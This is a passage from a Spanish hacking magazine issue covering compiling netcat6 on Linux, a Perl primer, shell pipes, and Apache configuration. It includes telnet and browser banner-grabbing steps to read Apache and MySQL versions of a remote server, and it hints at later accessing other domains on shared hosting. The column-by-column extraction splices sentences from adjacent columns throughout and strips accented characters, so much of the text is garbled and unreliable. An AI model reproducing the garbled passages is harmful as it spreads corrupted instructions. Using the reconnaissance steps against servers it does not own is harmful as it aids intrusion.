por defecto. Por ejemplo, si queremos conocer www.google.com/linux. Algunas de estas
todas las opciones del comando ls podemos aplicaciones que podemos encontrar en Internet
teclear man ls. Otra manera ms rpida de ponen a disposicin paquetes para determinadas
conseguir ayuda suele ser emplear el parmetro distribuciones. En este caso bastara con bajar
help en un comando o programa. Por ejemplo, determinado paquete e instalarlo de la manera
ls -help, nos mostrar la ayuda "en lnea" de usual.
dicho comando. Pero si no encontramos el paquete especfico
para nuestra distribucin o simplemente
Una vez que se ha hecho una presentacin deseamos generar los ejecutables de manera
general de lo que es un sistema GNU/LiNUX, que se acoplen como un guante a nuestro
vamos a examinar algunas de sus posibilidades. sistema, la opcin sin lugar a dudas que
En los siguientes puntos vamos a ver: Cmo debemos tomar es la de bajarnos los cdigos
utilizar un potente lenguaje de scripting, Perl; fuente del programa. Como alguien del foro
cmo instalar y utilizar un programa a partir dice, el secreto est en las fuentes ;o)
de su cdigo fuente, netcat; cmo utilizar
algunas de las herramientas avanzadas del El medio ms comn de bajarse el cdigo fuente
shell, pipes. de una aplicacin es bajarse un archivo tarball
comprimido. Tarball significa algo as como bola
6 - Instalando un programa a de estircol y recibe su nombre de las bolas
partir de su cdigo fuente que generan los escarabajos peloteros. La razn
de llamar as a este tipo de ficheros es que su
Normalmente las distribuciones utilizan como misin es la de almacenar toda una estructura
medio de instalacin los llamados "paquetes". de directorios y su contenido en un nica archivo
Estos no son ms que un archivo que contiene que llevar la extensin .tar. La razn de hacer
todos los archivos binarios (es decir, los esto es que cuando los ordenadores
ejecutables y sus libreras) que componen una almacenaban la informacin en una cinta
aplicacin, as como informacin especfica magntica, esta careca de una FAT tal y como
sobre dnde se debe de colocar cada uno de la conocemos hoy en da por limitaciones fsicas.
los archivos que componen el paquete o si la De hecho, en la antigua carrera de informtica
instalacin de un determinado paquete requiere exista una nica asignatura que trataba este
de la instalacin previa de otros (dependencias) tipo de problemas (mtodo Warnier ).
o bien si no es compatible con otros (conflictos).
Existen varios formatos de paquetes: deb Ancdotas aparte, estos ficheros suelen ser de
(Debian), rpm (RedHat/Mandrake/SuSE), ice un gran tamao, por lo que se les suele
(ICE), tgz (Slackware), etc...... Cada distribucin comprimir. Si el compresor que se ha utilizado
viene con una serie de paquetes en sus CD- para comprimir el archivo tar ha sido el gzip,
ROMs y normalmente el proceso de instalarlos obtendremos una archivo con las extensiones
consiste, ya sea en un sistema que estamos .tar.gz o .tgz. Si el compresor ha sido compress
instalando o en un sistema ya instalado, en el archivo llevar las extensiones tar.Z o tgZ. Y
seleccionarlos, resolver las posibles si el compresor utilizado ha sido el moderno
dependencias y/o conflictos e instalarlos. bzip2 obtendremos archivos cuya extensin es
.tar.bz2 o .tbz.
Pero hay ocasiones en las que determinado
programa no viene en nuestra distribucin. Hoy por hoy los ms comunes son los

Pgina 12 PC PASO A PASO N 8


GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU

comprimidos con gzip o bzip2. La manera de programa o librera para poder compilar el
descomprimir este tipo de archivos es invocar nuestro se nos dir en este punto.
a tar (programa que sirve para restaurar o
crear un archivo tarball) es la siguiente: - Compilar las fuentes e instalarlas:
- .tar.gz o tgz: tar xvfz nombre_del_archivo_tarball
- .tar.bz2 o tbz: tar xvfj nombre_del_archivo_tarball archivo_fuente_dir $ make
archivo_fuente_dir $ su --
Una vez descomprimido el archivo, se nos habr Password:
creado un directorio dentro del cual se ha archivo_fuente_dir # make install
restaurado la estructura original que contena
el archivo tarball. Obsrvese que en la ltima tarea nos hemos
convertido en administrador ( su -- ) con el fin
A partir de este momento pasamos a la tarea de poder instalar los archivos binarios compilados
de compilar el programa, o dicho de otra en su lugar.
manera, a la tarea de generar archivos binarios
(ejecutables, libreras, etc....) a partir de su A pesar de que, como se ha comentado, esta
cdigo fuente. suele ser la secuencia normal a la hora de
instalar un programa, conviene que siempre
Hasta hace no mucho la tarea de compilar un leamos dos archivos que siempre acompaan
programa a partir de su cdigo fuente era una a las fuentes de un programa: README (lame)
tarea un tanto ardua que requera de ciertos e INSTALL (instalacin). Estos archivos contienen
conocimientos del sistema y del compilador informacin precisa sobre como instalar un
utilizados. Esto es debido a que los programas programa concreto.
Free Software distribuyen su cdigo fuente de
manera que pueda ser compilado en la mayor Ahora vamos a practicar lo visto con un caso
parte de las plataformas y SS.OO. existentes. real. Para ello nos vamos a bajar el cdigo
fuente del netcat en su versin 6 para poder
Afortunadamente de unos aos a esta parte compilarlo bajo GNU/LiNUX de la siguiente
han surgido herramientas como las autotools d i r e c c i n :
que simplifican mucho el proceso de generar http://freshmeat.net/projects/nc6/?topic_id=87
una aplicacin a partir de su cdigo fuente. Esta versin soporta los protocolos tanto IPv4
Actualmente el proceso de compilacin e e IPv6, por si localizamos algn servidor que
instalacin de una aplicacin a partir de su soporte este protocolo.
cdigo fuente consta de cuatro pasos: Vamos a bajarnos el archivo nc6-0.4.tar.bz2
por ser el ms comprimido y el que menos
- Descomprimir el archivo tar y entrar en el tiempo tardar en descargarse.
directorio: Una vez descargado, seguimos los pasos arriba
descritos:
$ tar xvfz archivo_fuente.tgz
$ cd archivo_fuente_dir luis@el_chaman $ tar xvfj nc6-0.4.tar.bz2

- Configurar las fuentes para ser compiladas: luis@el_chaman $ cd nc6-0.4
luis@el_chaman ~/nc6-04 $ ./configure
archivo_fuente_dir $ ./configure
luis@el_chaman ~/nc6-04 $ make
En caso de que necesitemos instalar algn otro luis@el_chaman ~/nc6-04 $ su --

PC PASO A PASO N 8 Pgina 13


GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU

Password: que realiza un telnet al puerto 25. Todos los


root@el_chaman ~/nc6-04 $ make install ejemplos que se traten o hayan tratado en la
revista utilizando netcat los podremos realizar
Si todo ha ido bien, en /usr/local/bin tendremos ahora desde nuestro equipo GNU/LiNUX.
el ejecutable del netcat: nc6 .
7 - Un lenguaje de scripting en
Ahora si quisiramos conocer el funcionamiento
GNU/LiNUX: Perl
de este programa teclearamos
A pesar de que las propias shell poseen un
root@el_chaman ~/nc6-04 $ nc6 --help
potente lenguaje de scripting (sh script, csh script,
Usage:
ksh script, etc....) muchas veces se opta por
nc6 [options...] hostname port
nc6 -l -p port [-s addr] [options...] [hostname] [port] utilizar lenguajes de scripting disponibles para
ms plataformas, o, simplemente ms adecuados
Recognized options are: para tareas concretas. Este es el caso de Perl
-4 Use only IPv4 (Practical Extraction and Report Language) que
-6 Use only IPv6
est disponible para casi cualquier plataformas
-h, --help Display help
y adems es un lenguaje de scripting (dado que
-l, --listen Listen mode, for inbound connects
-n Numeric-only IP addresses, no DNS es interpretado) muy adecuado para tareas de
-p, --port=PORT Local source port red as como manejo de archivos o textos. Todo
-q, --hold-timeout=SEC1[:SEC2] esto nos interesa mucho dado que podemos
Set hold timeout(s) for local [and remote] realizar scripts que realicen tareas potentes
-s, --address=ADDRESS
sobre red y tener la seguridad de que aunque
Local source address
lo ejecutemos en distintos SS.OO., funcionarn
-t, --idle-timeout=SECONDS
Idle connection timeout sin hacer cambio alguno (siempre y cuando
-u, --udp Require use of UDP esos SS.OO. tengan instalado un intrprete
-v Increase program verbosity (call twice for max Perl)
verbosity) Tradicionalmente ha sido el lenguaje con el que
-w, --timeout=SECONDS
sen hecho la mayora de los CGIs en la WWW.
Timeout for connects/accepts
-x, --transfer File transfer mode
--recv-only Only receive data, don't transmit Perl viene con casi todas las distribuciones, as
--send-only Only transmit data, don't receive que no tendremos que buscar por Internet,
--buffer-size=BYTES aunque si somos de los que nos gusta compilarlo
Set buffer size desde las fuentes, el lugar que debemos visitar
--mtu=BYTES Set MTU for network connection transmits
sin lugar a dudas es CPAN (www.cpan.org)
--nru=BYTES Set NRU for network connection receives
donde podremos encontrar miles de pginas
--half-close Handle network half-closes correctly
--disable-nagle de documentacin, mdulos, scripts de ejemplo,
Disable nagle algorithm for TCP connections etc.....
--no-reuseaddr
Disable SO_REUSEADDR socket option (only in Para escribir un script en Perl debemos de crear
listen mode)
un archivo de texto al que le pondremos la
--sndbuf-size Kernel send buffer size for network sockets
extensin .pl y cuya primera lnea sea
--rcvbuf-size Kernel receive buffer size for network sockets
--version Display nc6 version information
#!/usr/bin/perl
Un ejemplo de uso de netcat sera:

o la ruta donde tengamos instalado perl. Esta


luis@el_chaman $ nc6 localhost 25
es la manera en la que los scripts UNiX llaman

Pgina 14 PC PASO A PASO N 8


GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU

al intrprete adecuado, en este caso el Perl. siguiente manera: $variable=<STDIN>;


Haciendo esto, nos ahorramos el tener que Cuando Perl interpreta esta lnea, espera a que
invocar al intrprete desde la lnea de comando, se introduzca un dato y se presione ENTER
tal y como hacemos en este ejemplo: (retorno de carro). Ojo que tambin se lee el
ENTER. Para evitar futuros problemas con ello,
luis@el_chaman $ perl archivo.pl disponemos de otra funcin: chop que elimina
el ltimo carcter de una cadena de texto.
Cosa que tambin es correcta y podemos hacer. Vista la entrada y salida, va siendo hora de que
hagamos nuestro primer programa en Perl.
Dicho esto, examinemos algunas caractersticas Como no, es un "Hola mundo" :o) :
de este lenguaje:
#/usr/bin/perl
Sintaxis: # Primer programa en Perl
print "Deme su nombre: ";
Cada lnea de comando debe finalizar con $minombre=<STDIN>;
punto y coma (;) print "Hola $minombre";
Cada lnea de comentarios, sobre las lneas de # Como no hemos eliminado el retorno de carro
programacin deben iniciar con el smbolo: # # saltar una lnea. Si queremos aadir saltos de
Los bloques de cdigo de Perl, tales como los # lnea, agregamos el carcter '\n'
ciclos de control y las condiciones siempre # Imprimimos de nuevo nuestro nombre tras
deben encerrarse entre llaves ({..}). eliminarle
# el ltimo carcter
Variables: chop $minombre;
print "$minombre es el mejor \n";
Perl utiliza como base el tipo escalar. Un escalar
es un tipo de dato que puede ser un entero, La salida de este programa sera:
un real o una cadena.
Las variables irn siempre precedidas del luis@el_chaman $ perl archivo.pl
smbolo $ sin necesidad de ser declaradas al Deme su nombre: Fulanito
inicio del programa como puede suceder en Hola Fulanito
otros lenguajes como el C. Fulanito es el mejor
Ejemplo de utilizacin de variables en Perl: luis@el_chaman $

$numentero = 6; # un entero Bueno, esta ha sido la presentacin del lenguaje


$cadena = "11"; # una cadena Perl. Como es obvio nos dejamos muchas cosas
$numreal= 4.5; # un real; en el tintero, pero no olvidemos el contexto en
el que se realiza. Ms adelante profundizaremos
Entrada/Salida: en este apasionante lenguaje.

A la hora de realizar operaciones de 8 - Pipes (tuberas); fontanera en


entrada/salida vamos a disponer de la funcin nuestra lnea de comandos
print para imprimir y del dispositivo <STDIN>
para la entrada. La entrada, para aquellos que Cualquier programa que utilizamos desde la
estis acostumbrados a otros lenguajes resulta lnea de comandos puede ser visto como un
cuanto menos curiosa; funcionar asignado sistema de caja negra que por un lado recibe
una variable el valor que tecleemos de la informacin, y por el otro nos ofrece unos

PC PASO A PASO N 8 Pgina 15


GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU

resultados que, por supuesto son tambin


informacin. Esta manera de comportarse es ! Comentario de...
independiente del S.O. que utilicemos.
Grficamente se representara de la siguiente Comentario de Hack x Crack: Toma buena nota de esta
manera: explicacin, en otro artculo de este nmero 8 tenemos un
ejemplo prctico :)

9 - Conclusiones
Normalmente la informacin de un programa
se recibe por la entrada estndar (teclado) y Este artculo, a pesar de su extensin, ha sido
se muestra por la salida estndar (pantalla). una presentacin de muchos temas pero poca
profundizacin en ellos. La razn es que muchas
Pero en determinadas ocasiones nos podra veces debemos de tener una visin global de
interesar tener este esquema: lo que supone tener un S.O. con tantas
posibilidades como GNU/LiNUX antes de
profundizar en l. He procurado tocar los puntos
de GNU/LiNUX que tienen relacin con otros
artculos de esta revista para de esta manera
Es decir, que la salida de un programa fuese percibir mejor las posibilidades e ir
la entrada del otro. Pues bien; diversos SS.OO. "enganchando" a algn incauto windowsero
entre los que se encuentran UNiX, GNU/LiNUX ;o).
y Windows en su lnea de comandos
proporcionan una herramienta que hace esto: Espero que haya servido de ayuda a alguien y
Los pipes (tuberas) cuyo smbolo es | (barra esperemos que en el futuro profundicemos y
vertical). presentemos temas que, ay, han quedado
obligatoriamente en el disco duro.
Ejemplo: Los comandos dir y more realizan
respectivamente las siguientes tareas; dir nos Un saludo.
lista todos los archivos de un directorio (ls en
GNU/LiNUX); more nos muestra pgina a pgina Luis U. Rodrguez Paniagua
el contenido de un archivo.
Dicho de otra manera, dir/ls proporcionan como
informacin de salida un listado de archivos;
more necesita como entrada texto a paginar.
Si tecleamos:

dir | more Windows


ls | more GNU/LiNUX

El listado generado por dir ser visto por


more como la informacin a paginar. Esto
es vlido para cualquier comando que
desde consola necesite o proporcione
informacin.

Pgina 16 PC PASO A PASO N 8


APACHE Parte II:
Configuracion - Comparte
tus ficheros mediante web

Bienvenidos de nuevo al mundo de APACHE :)


En el anterior nmero instalamos el Servidor Web Apache con los parmetros por defecto,
por lo que an no es recomendable que pongis el servidor visible al mundo, aunque ya
podemos empezar a experimentar ;)
Recuerda que no existen muchas diferencias entre el servidor instalado en vuestro
ordenador personal y el de un Servidor Comercial (si que existen diferencias pero no
tantas).

1. Arrancar y parar Apache


! S instalaste...
Lo primero que hay que hacer es poner en
marcha el servidor Apache, para ello sigue los Si instalaste APACHE en otro directorio, por ejemplo
pasos del nmero 7 de Hack x Crack o mejor c:\apache\Apache o C:\loquesea\Apache, no importa,
hazlo desde una Ventana de Comandos: simplemente sigue este ejercicio cambiando la ruta.
Este artculo est escrito interpretando que el Servidor
- Abre una ventana de MSDOS (Shell, ventana Apache est instalado en c:\Apache
de comandos), ya hemos explicado en
nmeros anteriores una y mil veces como se
hace esto de abrir la ya famosa ventanita negra Pon apache.exe -h y obtendrs un listado de
;p. todos los parmetros de entrada que admite
- Recorre los el ejecutable apache.exe
directorios hasta
situarte en el directorio
donde instalases el
Apache (nosotros lo
instalamos en
C:\Apache). Ya sabes,
lo hemos hecho mil
veces, en nuestro caso
sera introduciendo el
comando cd c:\Apache (y pulsa enter)
- Vers que hay un ejecutable llamado
apache.exe, todo esto ya lo vimos en el
nmero anterior. Cmo? Que no ves el archivo
apache.exe? Como se nota que no te has ledo
ni uno solo de nuestros nmeros, venga,
Para poner en marcha el apache desde la lnea
introduce el comando dir y pulsa enter
de comandos pon:

PC PASO A PASO N 8 Pgina 17


APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II

Apache.exe -k start como es lgico Apache soluciona los problemas


y saca una nueva versin sin los bugs conocidos.
Si est todo correcto el servidor se iniciar sin Conocer la versin de Apache te aportar
problemas y, como podrs comprobar, la conocer la poltica del departamento de sistemas
ventana del MSDOS no te devuelve el promt propietaria del servidor (las personas que estn
del sistema (no podrs escribir nada mas en detrs manejando el servidor) y las
esta Ventana de Comandos. No cierres la vulnerabilidades del servidor web.
ventana, si la cierras el servidor Apache dejar
de funcionar. Si el servidor analizado tiene una versin de
Para continuar con la prctica Apache antigua quiere decir que el administrador
abre una nueva ventana de encargado de mantener el servidor no se est
MSDOS, tienes que tener dos preocupando de la seguridad. Ves por donde
ventanas abiertas, una con el van los tiros? X)
Apache en marcha y otra para
que puedas introducir nuevos comandos. Esto Averiguar la versin de Apache de forma
es debido a que ya no podemos escribir nada local
en la ventana anterior pero necesitamos "hablar"
(dar ordenes) con el Servidor APACHE, as que, El ejecutable Apache.exe ofrece un parmetro
venga, abre otra "ventanita negra", ves al que te indica la versin de servidor web
directorio c:\Apache (cd c:\Apache) y vamos instalado. Recuerda que tienes que estar situado
a parar el servidor. Para ello tienes dos opciones en el directorio donde tienes instalado el
que realizan la misma funcin: Apache.(C:\apache\)

Apache.exe -k stop Apache.exe -v


Apache.exe -k shutdown
La informacin que te permite conocer es la
A los pocos segundos vers como la ventana versin y fecha de cuando fue compilado por
del sistema que no te dejaba escribir ya te ltima vez. Si te has
permite manipularla, quiere decir que el servidor instalado el Apache
web ya no est en marcha y se ha liberado la partiendo del captulo
memoria. anterior (revista n7)
tienes que tener la
versin Apache/1.3.27
(Win32).

Averiguar la versin de Apache de forma


remota
2. Conocer la versin de Apache.
Conocer la versin de Apache de otras mquinas
Cada cierto tiempo Apache saca una nueva es muy sencillo, puedes hallar y de forma muy
versin solucionando los bugs, hay que decir rpida y sin dejar rastro tu inters por conocer
que Apache es un servidor bastante estable la versin del servidor web de cualquier otro
comparado con otros servidores webs como servidor Apache. Para ello vas a utilizar el cliente
IIS (de Microsoft). La web oficial de Apache.org Telnet, ya se coment en el nmero 7 de Paso
ofrece su base de datos de bugs en funcin a Paso el cliente Telnet por lo que no vamos a
del sistema operativo y versin de Apache, repetir el funcionamiento del cliente Telnet.

Pgina 18 PC PASO A PASO N 8


APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II

Simplemente comentarte que el cliente telnet un comando HTTP correcto, pero para averiguar
de windows 98 se presenta como una ventana la versin de Apache es suficiente con enviar
de windows y no a modo de texto como en cualquier cosa.
XP/2000, incluso es ms sencillo de utilizar si
te ests iniciando en los clientes Telnet.
! S utilizas...
Ejecutamos el comando de sistema telnet.exe,
como vers se abre una ventana sin contenido, Si utilizas el telnet de Windows XP, como en el nmero 7
con el fondo blanco y con un men en la parte de Hack x Crack, debers:
superior. Selecciona Sistema remoto del - Abrir una Ventana de Comandos
men desplegable Conectar. - Escribir telnet 127.0.0.1 80
En este momento tendrs ante ti una ventana completamente
en negro, sin una sola letra.
- Escribir cualquier cosa (aunque no se ver reflejado en
la ventana) y pulsar enter. En ese momento vers el mensaje
de error y la versin de apache del remoto, como en la
imagen ;)

En nombre de host puedes poner un dominio


o la IP de un servidor.
Cambia el puerto, por defecto est el Telnet
(puerto 23), cambialo a 80 (es el puerto por Lo que ests haciendo mediante el cliente de
defecto del servidor web). El parmetro tipo telnet es conectarte al servidor Apache sin
de terminal no hace falta que lo cambies. utilizar el Browser (Internet Explorer o Netscape).
Resumiendo, pon los siguientes datos: Esta tcnica es muy til si necesitas conocer
las versiones de los servicios que estn
Nombre de host: 127.0.0.1 de esta forma funcionando en los servidores. Vamos a poner
te conectars a tu propio servidor. un par de ejemplos :)
Puerto: 80
(Recuerda iniciar el Servidor Apache antes de EJEMPLO 1: Vamos a averiguar qu versin de
Aceptar: apache -k start) apache est corriendo en el servidor de amen-
es que contiene las pginas de Hack x Crack
Al aceptar vers que no ocurre nada, escribe (www.hackxcrack.com).
cualquier cosa (no vers lo que escribes) y
pulsa el botn return del teclado. Al instante a) - Iniciamos el Telnet e intentamos conectarnos
recibirs un texto comunicando un error de a www.hackxcrack.com. Si tienes Windows
mtodo no implementado (Error 501 Method 2000/XP, ya sabes, abres una ventana DOS y
Not Implemented). Lo que ha sucedido es que escribe
el servidor estaba esperando que le enviaras telnet (y pulsa return)

PC PASO A PASO N 8 Pgina 19


APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II

* Esto inicia la consola Telnet Esto no os funcionar en todos sitios, claro


pero la experiencia es la madre de la ciencia;
b) - Ahora escribes ya sabes, poco a poco y paso a paso ;)
set localecho (y pulsa enter)
* Esto habilita el eco local
! En el nmero 7...
c) - Finalmente escribe
open www.hackxcrack.com 80 En el nmero 7 de Hack x Crack, en el artculo RAW1 ya
* Esto nos conecta al servidor donde estn trabajamos con telnet, si no entiendes qu es eso del
alojadas las pginas de Hack x Crack. localecho y otras cosas, ya sabes, pgale un vistazo al
* En este momento deberas ver un mensaje nmero 7 :)
que reza "conectndose a
www.hackxcrack.com...", como en la imagen EJEMPLO 2: Telnet, para averiguar si un servidor
tiene instalado el MySQL y adems poder
d)- Ahora averiguar la versin, simplemente tienes que
e s c r i b e colocar la IP del servidor y el puerto de MySQL
cualquier cosa (3306). Veeeenga, vamos all.
y pulsa enter,
con lo que La pregunta es Tiene el servidor de
obtendrs esto: h a c k xc ra c k . c o m e l s e r v i c i o M y S Q L ?
* Ya puedes - Sigue los pasos anteriores a), b) y c) PERO
buscar la en el paso c) pon
versin del open www.hackxcrack.com 3306
Servidor Web, y obtendrs algo parecido a esto:
ya, que no la Je, je mira por
encontrars donde, el servidor
claro, claro, no todo es tan sencillo ;p que de www.
los administradores pueden ocultar este dato, hackxcrack.com
pero eso lo solucionamos YA!!! tiene el servicio
MySQL versin
- Abre una nueva Ventana DOS y repite los 3.23.53 pero nos
pasos hasta el punto c) incluido. Ahora, en estamos olvidando
lugar de escribir cualquier cosa y pulsar enter del objetivo de este artculo, volvamos a nuestro
como en el paso d), lo que hacemos es escribir querido APACHE!!!
get www.hackxcrack.com
y os aparecer la versin de Apache ;p 3. Configurando el apache

Toda la configuracin del servidor web est


guardada en el fichero llamado http.conf del
directorio c:\apache\conf\. Este fichero de tipo
texto puede ser editado con cualquier editor
de textos, recomendamos el bloc de notas (ms
simple imposible). Pues abre el archivo y an
no toques nada, pues un cambio errneo en
este archivo y dejars sin funcionar el servidor
web.

Pgina 20 PC PASO A PASO N 8


APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II

Una vez abierto se observa que existen lneas la web tiene miles de visitas y deseas que el
precedidas por el smbolo # estas lneas como servidor no consuma recursos de sistema
habrs supuesto son comentarios que describen entonces selecciona standalone, pero si quieres
el parmetro y el valor que hay a continuacin. mayor seguridad en tu servidor web a costa de
utilizar ms recursos (ms memoria, ms micro,
...) entonces utiliza inetd.

Es necesario que sepas que Apache en


plataformas Windows solo funciona el
standalone mientras que en otros sistemas
como Linux se acepta el Inetd, ya puedes
suponer que el Apache en Windows consumir
menos recursos y que es ms propenso a fallos
de seguridad.

ServerRoot
Este parmetro indica el lugar dnde se
encuentran los archivos de configuracin, error
y registros. Es el directorio padre de todos los
ServerType archivos relacionados con el servidor Apache.
El primer parmetro que encontrars es En nuestro ejemplo es: c:/apache/ (en la imagen
ServerType, este parmetro indica a Apache anterior puedes ver que el directorio padre es
como debe manipular internamente las c:/apache/apache, eso es porque esa imagen
peticiones de los navegantes. Lo que os corresponde a alguien que ha instalado Apache
comentamos a continuacin es ms culturilla en el directorio c:\apache\apache)
que otra cosa, pero es necesario saberlo para
conocer como trabaja un servidor Web Vamos a realizar una prueba cambiando este
internamente. parmetro, lo primero que tienes que hacer es
parar el servidor Apache (recuerda: apache.exe
ServerType puede tener dos valores -k stop) una vez parado pon cualquier otra cosa
standalone | inetd, entre ambos parmetros en ServerRoot, por ejemplo ServerRoot
existe una gran diferencia relacionada con la c:/apacheerror/, graba el archivo de
eficacia del sistema. El proceso de un servidor configuracin.
configurado como inetd se cierra en el mismo
momento en el que termina de atender la Se ha colocado una ruta errnea, Apache
peticin recibida. Mientras que en el modo dispone de un sencillo debugger que te indicar
standalone, el subproceso se queda el error ocurrido
esperando cierta cantidad de tiempo antes de y hasta que no lo
cerrarse. De esta forma se pueden volver a soluciones no te
utilizar en el futuro. Como no hay que dedicar permitir ejecutar
recursos de sistema para volver a abrir el el Apache. Para
proceso, se mejora la eficacia del servidor. comprobar si el
Inetd tiene sus ventajas, se considera ms archivo de
seguro que standalone. configuracin es correcto utiliza el parmetro
-t, de la siguiente forma:
Cundo se tiene que utilizar uno u otro?, si Apache.exe -t

PC PASO A PASO N 8 Pgina 21


APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II

Te mostrar como resultado el nmero de lnea para acceder al servidor ser:


donde se ha producido el error. Te http://127.0.0.1:8080 o
recomendamos que siempre que cambies el http://www.midominio.com:8080, como vers
archivo de configuracin compruebes si est primero va la IP o el dominio y luego dos puntos
correcto. Ahora vuelve a colocar como estaba junto al puerto.
el ServerRoot (c:/apache/)
Si pones en el navegador (el Internet Explorer,
TimeOut Netscape o el que utilices normalmente)
El valor de este parmetro indica el nmero de http://127.0.0.1:80 comprobars que funciona
segundos antes de enviar un timeout. Es un correctamente, en cambio si colocas cualquier
valor a tener en cuenta en la optimizacin del otro puerto te dar error.
servidor Apache, es posible y de vez en cuando
ocurra que, al solicitar una pgina web, el Utilizando los dos puntos y el puerto puedes
servidor necesite ms tiempo para procesar la capturar a travs del navegador informacin
peticin y enviar la pgina web. Imagina que de otros servicios instalados en los servidores
por cualquier motivo el servidor entra en un remotos, por ejemplo, quieres confirmar si el
bucle infinito, esto consume mucha memoria, servidor de hackxcrack tiene un servidor MySQL
micro, ... pues con el timeout le dices que a y si lo tiene que versin utiliza?, pon
los X segundos pare. Las empresas de hosting http://www.hackxcrack.com:3306 en tu
tienen que tener muy controlado este valor, navegador y vers que la versin es 3.23.53 ;)
pues piensa en crear un bucle infinito en una
pgina PHP que nunca llegue a responder al
navegante. Esto le supone al servidor una carga
de procesamiento mayor y tener un proceso
ocupado un largo tiempo consumiendo recursos.

El valor por defecto es de 300 segundos (5


minutos). Si utilizas tu servidor web para mostrar
pginas HTML, compartir ficheros puedes dejarlo
como est, pero si lo utilizas para ofrecer a tus
amigos espacio web te recomendamos que
reduzcas el tiempo.

Port
El puerto HTTP predeterminado es el 80 y es ! Puedes utilizar...
el que se utiliza en la mayora de los servidores
WEB. Puedes cambiar el puerto por uno Puedes utilizar un puerto diferente para que tu web sea
comprendido entre el rango 1024 y 32769, accesible desde Internet pero que no sea encontrada por
ambos incluidos. Todos los puertos menores los buscadores o que sea accesible solo para tus amigos
de 1024 se consideran estndares y ya estn que conocen la direccin exacta, si cambias el puerto
asignados por defecto a otros servicios. Ten complicas bastante la deteccin de una web.
en cuenta que si utilizas un puerto diferente al
80, tienes que especificar el puerto en la URL
dirigida al servidor. ServerAdmin

Por ejemplo, si utilizas el puerto 8080, la url Cuando ocurre un error el servidor web genera

Pgina 22 PC PASO A PASO N 8


APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II

un error y no puede mostrar la pgina solicitada Por ejemplo, puedes tener otra unidad "e"
enva una pgina de error, en esa pgina se donde colocars los archivos HTML, GIF, MP3,
muestra una direccin email del administrador DIVX, ..., Los parmetros a modificar seran:
de sistema. De esta forma los visitantes del
sitio web podrn informar de cualquier problema ServerRoot "C:/apache/ "
a travs de un mensaje de correo electrnico.
DocumentRoot "E:/"
Por ejemplo: ServerAdmin
webmaster@tudominio.com Como puedes ver el root del servidor
(ServerRoot) est donde se instal el Apache
Servername mientras que el Root de las pginas web se
encuentra en la unidad E. De esta forma tan
Aqu puedes colocar un dominio o una IP, sencilla has dificultado el acceso al sistema de
recuerda que este parmetro se configur en curiosos, os aseguro que muchas empresas de
la instalacin (en unos de los pasos explicados hosting tienen un servidor muy potente con un
en HxC n7), ahora ya puedes cambiarlo con disco duro de muchas gigas (en una unidad)
el valor que quieras, como es un servidor de y este disco duro est compartido por el sistema
p r u e b a s p o n S e r ve r n a m e 1 2 7. 0 . 0 . 1 operativo y todos los dominios, cualquier
webmaster con nociones de PHP puede acceder
DocumenRoot a otros dominios si estos parmetros estn mal
configurados. Primero vamos a aprender a
Este parmetro indica al servidor que ha de configurar el Apache que luego, en futuros
considerar el directorio especificado como el captulos, veremos como podemos acceder al
path del nivel superior. La eleccin de este contenido de otros dominios teniendo acceso
directorio es muy importante, por ejemplo si desde uno ;)
el valor es DocumentRoot "c:/" podrs acceder
a todo el disco duro. Obviamente se puede Te adelantamos un detalle
proteger dichos archivos estableciendo los Hemos explicado varios parmetros que son
permisos oportunos. muy importantes para la configuracin del
servidor Apache, el fichero httpd.conf lo tienes
A este root (el documentRoot) se le llama Root configurado para que funcione en un slo
virtual, para aclarar el documentroot y que espacio web, es decir, tienes un dominio o IP
veas la utilidad de este importante parmetro, asociado a un espacio de disco de tu ordenador.
el valor es la ruta PATH del disco desde donde Pues te adelantamos que puedes crear ms
puede Apache encontrar las pginas web por espacios webs en tu ordenador, es decir, has
defecto. pensado ofrecer hosting a tus amigos?, con
Apache es posible, puedes alojar en tu mismo
Si tienes dos discos duros, puedes colocar en ordenador varios dominios y cada uno con su
un disco duro la instalacin de Apache junto propia configuracin. Pero no corramos, en el
con los archivos del sistema operativo y colocar prximo captulo aplicaremos todo lo aprendido
en otro disco duro las pginas webs, de en este nmero, que no es poco, creando varios
este modo no corres el riesgo de que algn sitios en tu propio ordenador. Tu servidor no
curioso pueda acceder al disco duro donde ser muy diferente a los servidores de empresas
tienes instalado el sistema (apache, sistema de hosting.
operativo) y fastidiarte como ya te puedes
imaginar. Por qu te decimos todo esto? Muy sencillo,

PC PASO A PASO N 8 Pgina 23


APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II

todos los parmetros que hemos comentado vers que dice que no tienes permisos para
son globales, es decir, afectan a todos los sitios ver el contenido del directorio. Qu pasos ha
creados. Puedes configurar sitios con seguido Apache?, lo primero que ha realizado
parmetros personalizados, por ejemplo, puedes es buscar el archivo ndice con extensin .html
crear un sitio que para acceder tengan que y como no lo ha encontrado ha mostrado la
poner el puerto 8080 y otro sitio con el puerto pgina de que no tienes permisos para ver el
80. Ms adelante vers la diferencia. contenido.

"Ocultamiento" de archivos Mira el fichero de configuracin (httpd.conf),


busca lo siguiente:
En el directorio del sitio web (c:\apache\htdocs\, <Directory />
recuerda que aqu es donde tienes que alojar Options FollowSymLinks
todas las pginas html e imgenes) tienes que AllowOverride None
tener un index.html de "Hola mundo" creado </Directory>
en HxC n 7, pues brralo y crea los siguientes
directorios: divx, mp3, xxx, crack, serial y De la siguiente forma (muy simple), le indicamos
warez. a Apache las propiedades del directorio raz
(fjate que pone /). Poner / es lo mismo que
poner el valor de DocumentRoot. Por lo tanto
lo anterior es lo mismo que:
<Directory c:\apache\htdocs\ >
Options FollowSymLinks
AllowOverride None
</Directory>

Ahora comenta el contenido, djalo como


sigue:

<Directory c:\apache\htdocs\ >


#Options FollowSymLinks
